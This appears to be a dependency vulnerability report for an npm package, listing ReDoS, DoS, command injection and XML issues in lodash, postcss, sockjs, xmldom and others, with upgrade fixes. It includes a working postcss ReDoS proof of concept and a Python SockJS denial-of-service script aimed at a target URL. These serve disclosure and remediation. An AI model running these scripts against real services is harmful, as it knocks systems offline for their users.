The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade lodash to version 4.17.21 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: lodash
  • Introduced through: confman@0.2.11

Detailed paths

  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 confman@0.2.11 plist@1.2.0 xmlbuilder@4.0.0 lodash@3.10.1

Overview

lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). It parses dates using regex strings, which may cause a slowdown of 2 seconds per 50k characters.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade lodash to version 4.17.11 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: mem
  • Introduced through: webpack@3.12.0

Detailed paths

  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 webpack@3.12.0 yargs@8.0.2 os-locale@2.1.0 mem@1.1.0
    Remediation: Upgrade to webpack@4.0.0.

Overview

mem is an optimization used to speed up consecutive function calls by caching the result of calls with identical input.

Affected versions of this package are vulnerable to Denial of Service (DoS). Old results were deleted from the cache and could cause a memory leak.

details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade mem to version 4.0.0 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: postcss
  • Introduced through: css-loader@0.26.4, postcss-px-to-viewport@0.0.3 and others

Detailed paths

  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 postcss@5.2.18
    Remediation: Upgrade to css-loader@2.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 postcss-px-to-viewport@0.0.3 postcss@5.2.18
    Remediation: Upgrade to postcss-px-to-viewport@1.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 postcss-write-svg@3.0.1 postcss@5.2.18
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 cssnano@3.10.0 postcss@5.2.18
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 optimize-css-assets-webpack-plugin@3.2.0 cssnano@3.10.0 postcss@5.2.18
    Remediation: Upgrade to optimize-css-assets-webpack-plugin@3.2.1.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 cssnano@3.10.0 autoprefixer@6.7.7 postcss@5.2.18
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 optimize-css-assets-webpack-plugin@3.2.0 cssnano@3.10.0 autoprefixer@6.7.7 postcss@5.2.18
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 cssnano@3.10.0 postcss-calc@5.3.1 postcss@5.2.18
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 optimize-css-assets-webpack-plugin@3.2.0 cssnano@3.10.0 postcss-calc@5.3.1 postcss@5.2.18
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 cssnano@3.10.0 postcss-colormin@2.2.2 postcss@5.2.18
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 optimize-css-assets-webpack-plugin@3.2.0 cssnano@3.10.0 postcss-colormin@2.2.2 postcss@5.2.18
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 cssnano@3.10.0 postcss-convert-values@2.6.1 postcss@5.2.18
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 optimize-css-assets-webpack-plugin@3.2.0 cssnano@3.10.0 postcss-convert-values@2.6.1 postcss@5.2.18
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 cssnano@3.10.0 postcss-discard-comments@2.0.4 postcss@5.2.18
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 optimize-css-assets-webpack-plugin@3.2.0 cssnano@3.10.0 postcss-discard-comments@2.0.4 postcss@5.2.18
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 cssnano@3.10.0 postcss-discard-duplicates@2.1.0 postcss@5.2.18
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 optimize-css-assets-webpack-plugin@3.2.0 cssnano@3.10.0 postcss-discard-duplicates@2.1.0 postcss@5.2.18
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 cssnano@3.10.0 postcss-discard-empty@2.1.0 postcss@5.2.18
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 optimize-css-assets-webpack-plugin@3.2.0 cssnano@3.10.0 postcss-discard-empty@2.1.0 postcss@5.2.18
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 cssnano@3.10.0 postcss-discard-overridden@0.1.1 postcss@5.2.18
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 optimize-css-assets-webpack-plugin@3.2.0 cssnano@3.10.0 postcss-discard-overridden@0.1.1 postcss@5.2.18
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 cssnano@3.10.0 postcss-discard-unused@2.2.3 postcss@5.2.18
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 optimize-css-assets-webpack-plugin@3.2.0 cssnano@3.10.0 postcss-discard-unused@2.2.3 postcss@5.2.18
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 cssnano@3.10.0 postcss-filter-plugins@2.0.3 postcss@5.2.18
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 optimize-css-assets-webpack-plugin@3.2.0 cssnano@3.10.0 postcss-filter-plugins@2.0.3 postcss@5.2.18
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 cssnano@3.10.0 postcss-merge-idents@2.1.7 postcss@5.2.18
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 optimize-css-assets-webpack-plugin@3.2.0 cssnano@3.10.0 postcss-merge-idents@2.1.7 postcss@5.2.18
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 cssnano@3.10.0 postcss-merge-longhand@2.0.2 postcss@5.2.18
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 optimize-css-assets-webpack-plugin@3.2.0 cssnano@3.10.0 postcss-merge-longhand@2.0.2 postcss@5.2.18
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 cssnano@3.10.0 postcss-merge-rules@2.1.2 postcss@5.2.18
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 optimize-css-assets-webpack-plugin@3.2.0 cssnano@3.10.0 postcss-merge-rules@2.1.2 postcss@5.2.18
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 cssnano@3.10.0 postcss-minify-font-values@1.0.5 postcss@5.2.18
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 optimize-css-assets-webpack-plugin@3.2.0 cssnano@3.10.0 postcss-minify-font-values@1.0.5 postcss@5.2.18
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 cssnano@3.10.0 postcss-minify-gradients@1.0.5 postcss@5.2.18
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 optimize-css-assets-webpack-plugin@3.2.0 cssnano@3.10.0 postcss-minify-gradients@1.0.5 postcss@5.2.18
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 cssnano@3.10.0 postcss-minify-params@1.2.2 postcss@5.2.18
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 optimize-css-assets-webpack-plugin@3.2.0 cssnano@3.10.0 postcss-minify-params@1.2.2 postcss@5.2.18
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 cssnano@3.10.0 postcss-minify-selectors@2.1.1 postcss@5.2.18
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 optimize-css-assets-webpack-plugin@3.2.0 cssnano@3.10.0 postcss-minify-selectors@2.1.1 postcss@5.2.18
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 cssnano@3.10.0 postcss-normalize-charset@1.1.1 postcss@5.2.18
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 optimize-css-assets-webpack-plugin@3.2.0 cssnano@3.10.0 postcss-normalize-charset@1.1.1 postcss@5.2.18
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 cssnano@3.10.0 postcss-normalize-url@3.0.8 postcss@5.2.18
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 optimize-css-assets-webpack-plugin@3.2.0 cssnano@3.10.0 postcss-normalize-url@3.0.8 postcss@5.2.18
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 cssnano@3.10.0 postcss-ordered-values@2.2.3 postcss@5.2.18
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 optimize-css-assets-webpack-plugin@3.2.0 cssnano@3.10.0 postcss-ordered-values@2.2.3 postcss@5.2.18
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 cssnano@3.10.0 postcss-reduce-idents@2.4.0 postcss@5.2.18
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 optimize-css-assets-webpack-plugin@3.2.0 cssnano@3.10.0 postcss-reduce-idents@2.4.0 postcss@5.2.18
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 cssnano@3.10.0 postcss-reduce-initial@1.0.1 postcss@5.2.18
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 optimize-css-assets-webpack-plugin@3.2.0 cssnano@3.10.0 postcss-reduce-initial@1.0.1 postcss@5.2.18
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 cssnano@3.10.0 postcss-reduce-transforms@1.0.4 postcss@5.2.18
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 optimize-css-assets-webpack-plugin@3.2.0 cssnano@3.10.0 postcss-reduce-transforms@1.0.4 postcss@5.2.18
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 cssnano@3.10.0 postcss-svgo@2.1.6 postcss@5.2.18
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 optimize-css-assets-webpack-plugin@3.2.0 cssnano@3.10.0 postcss-svgo@2.1.6 postcss@5.2.18
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 cssnano@3.10.0 postcss-unique-selectors@2.0.2 postcss@5.2.18
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 optimize-css-assets-webpack-plugin@3.2.0 cssnano@3.10.0 postcss-unique-selectors@2.0.2 postcss@5.2.18
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 cssnano@3.10.0 postcss-zindex@2.2.0 postcss@5.2.18
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 optimize-css-assets-webpack-plugin@3.2.0 cssnano@3.10.0 postcss-zindex@2.2.0 postcss@5.2.18
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 rucksack-css@1.0.2 postcss@6.0.23
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 postcss-modules-extract-imports@1.2.1 postcss@6.0.23
    Remediation: Upgrade to css-loader@2.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 postcss-modules-local-by-default@1.2.0 postcss@6.0.23
    Remediation: Upgrade to css-loader@2.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 postcss-modules-scope@1.1.0 postcss@6.0.23
    Remediation: Upgrade to css-loader@2.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 postcss-modules-values@1.3.0 postcss@6.0.23
    Remediation: Upgrade to css-loader@2.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 rucksack-css@1.0.2 autoprefixer@7.2.6 postcss@6.0.23
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 rucksack-css@1.0.2 postcss-color-rgba-fallback@3.0.0 postcss@6.0.23
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 rucksack-css@1.0.2 postcss-opacity@5.0.0 postcss@6.0.23
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 rucksack-css@1.0.2 postcss-pseudoelements@5.0.0 postcss@6.0.23
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 rucksack-css@1.0.2 postcss-reporter@5.0.0 postcss@6.0.23
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 rucksack-css@1.0.2 postcss-vmin@3.0.0 postcss@6.0.23
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 rucksack-css@1.0.2 laggard@2.0.1 postcss@6.0.23
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 rucksack-css@1.0.2 postcss-alias@2.0.0 postcss@6.0.23
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 rucksack-css@1.0.2 postcss-clearfix@2.0.1 postcss@6.0.23
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 rucksack-css@1.0.2 postcss-easings@1.0.1 postcss@6.0.23
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 rucksack-css@1.0.2 postcss-fontpath@1.0.0 postcss@6.0.23
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 rucksack-css@1.0.2 postcss-hexrgba@1.0.2 postcss@6.0.23
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 rucksack-css@1.0.2 postcss-input-style@1.0.0 postcss@6.0.23
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 rucksack-css@1.0.2 postcss-position@1.1.0 postcss@6.0.23
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 rucksack-css@1.0.2 postcss-quantity-queries@0.5.0 postcss@6.0.23
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 rucksack-css@1.0.2 postcss-responsive-type@1.0.0 postcss@6.0.23
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 rucksack-css@1.0.2 laggard@2.0.1 pixrem@4.0.1 postcss@6.0.23
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 rucksack-css@1.0.2 laggard@2.0.1 postcss-color-rgba-fallback@3.0.0 postcss@6.0.23
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 rucksack-css@1.0.2 laggard@2.0.1 postcss-opacity@5.0.0 postcss@6.0.23
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 rucksack-css@1.0.2 laggard@2.0.1 postcss-pseudoelements@5.0.0 postcss@6.0.23
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 rucksack-css@1.0.2 laggard@2.0.1 postcss-reporter@5.0.0 postcss@6.0.23
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 rucksack-css@1.0.2 laggard@2.0.1 postcss-vmin@3.0.0 postcss@6.0.23
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 rucksack-css@1.0.2 laggard@2.0.1 postcss-will-change@2.0.0 postcss@6.0.23

Overview

postcss is a PostCSS is a tool for transforming styles with JS plugins.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern \/\*\s*# sourceMappingURL=(.*).

PoC

var postcss = require("postcss")
function build_attack(n) {
    var ret = "a{}"
    for (var i = 0; i < n; i++) {
        ret += "/*# sourceMappingURL="
    }
    return ret + "!";
}

// postcss.parse('a{}/*# sourceMappingURL=a.css.map */')
for(var i = 1; i <= 500000; i++) {
    if (i % 1000 == 0) {
        var time = Date.now();
        var attack_str = build_attack(i)
        try{
            postcss.parse(attack_str)
            var time_cost = Date.now() - time;
            console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms");
            }
        catch(e){
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms");
        }
    }
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade postcss to version 8.2.13, 7.0.36 or higher.

References

medium severity

Command Injection

  • Vulnerable module: react-dev-utils
  • Introduced through: react-dev-utils@6.1.1

Detailed paths

  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 react-dev-utils@6.1.1
    Remediation: Upgrade to react-dev-utils@11.0.4.

Overview

react-dev-utils is an includes some utilities used by Create React App.

Affected versions of this package are vulnerable to Command Injection via getProcessForPort - where an input argument is concatenated into a command string to be executed. This function is typically used from react-scripts (in Create React App projects), where the usage is safe. Only when this function is manually invoked with user-provided values (ie: by custom code) is there the potential for command injection. If you're consuming it from react-scripts then this issue does not affect you.

Remediation

Upgrade react-dev-utils to version 11.0.4 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: sockjs
  • Introduced through: webpack-dev-server@2.11.5

Detailed paths

  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 webpack-dev-server@2.11.5 sockjs@0.3.19
    Remediation: Upgrade to webpack-dev-server@3.11.0.

Overview

sockjs is a JavaScript library (for browsers) that provides a WebSocket-like object.

Affected versions of this package are vulnerable to Denial of Service (DoS). Incorrect handling of Upgrade header with the value websocket leads in crashing of containers hosting sockjs apps.

PoC by Andrew Snow

import requests
import random
import argparse

def main():
  print('SockJS 0.3.19 Denial of Service POC')
  print('For educational purposes only')
  print('Author: @andsnw')
  print('------------')
  parser = argparse.ArgumentParser(description='SockJS 0.3.19 Denial of Service POC')
  parser.add_argument('--target', type=str, help='URL of target running vulnerable sockjs')
  parsed = parser.parse_args()
  target = vars(parsed)['target']
  if target == None:
    parser.print_help()
    exit()

  # Clean trailing /
  if target.endswith('/'):
    target = target[:-1]

  print ("Initiating at: %s" % target)

  # Create sockjs payload
  payloads = [
    ('%s/sockjs/' % target),
    ('%s/sockjs/598/' % target),
    ('%s/sockjs/598/8ko8gkpf/' % target),
  ]

  # Run 3 times with traversion
  for url in payloads:
    payload_url = "%s%s" % (url, random.randint(1000000000000000000,9999999999999999999))
    print('Requesting: %s' % payload_url)
    req = requests.get(url=payload_url, headers={
      'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0',
      'Cache-Control': 'max-age=0',
      'Accept-Language': 'en-US,en;q=0.5',
      'Connection': 'Upgrade',
      'Upgrade': 'websocket',
    })
    print("Status code: %s" % req.status_code)

  print ("Complete! Check if the container has crashed")

if __name__ == "__main__":
    main()

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade sockjs to version 0.3.20 or higher.

References

medium severity

Improper Input Validation

  • Vulnerable module: xmldom
  • Introduced through: confman@0.2.11

Detailed paths

  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 confman@0.2.11 plist@1.2.0 xmldom@0.1.31

Overview

xmldom is an A pure JavaScript W3C standard-based (XML DOM Level 2 Core) DOMParser and XMLSerializer module.

Affected versions of this package are vulnerable to Improper Input Validation. It does not correctly escape special characters when serializing elements removed from their ancestor. This may lead to unexpected syntactic changes during XML processing in some downstream applications.

Remediation

A fix was pushed into the master branch but not yet published.

References

medium severity

XML External Entity (XXE) Injection

  • Vulnerable module: xmldom
  • Introduced through: confman@0.2.11

Detailed paths

  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 confman@0.2.11 plist@1.2.0 xmldom@0.1.31

Overview

xmldom is an A pure JavaScript W3C standard-based (XML DOM Level 2 Core) DOMParser and XMLSerializer module.

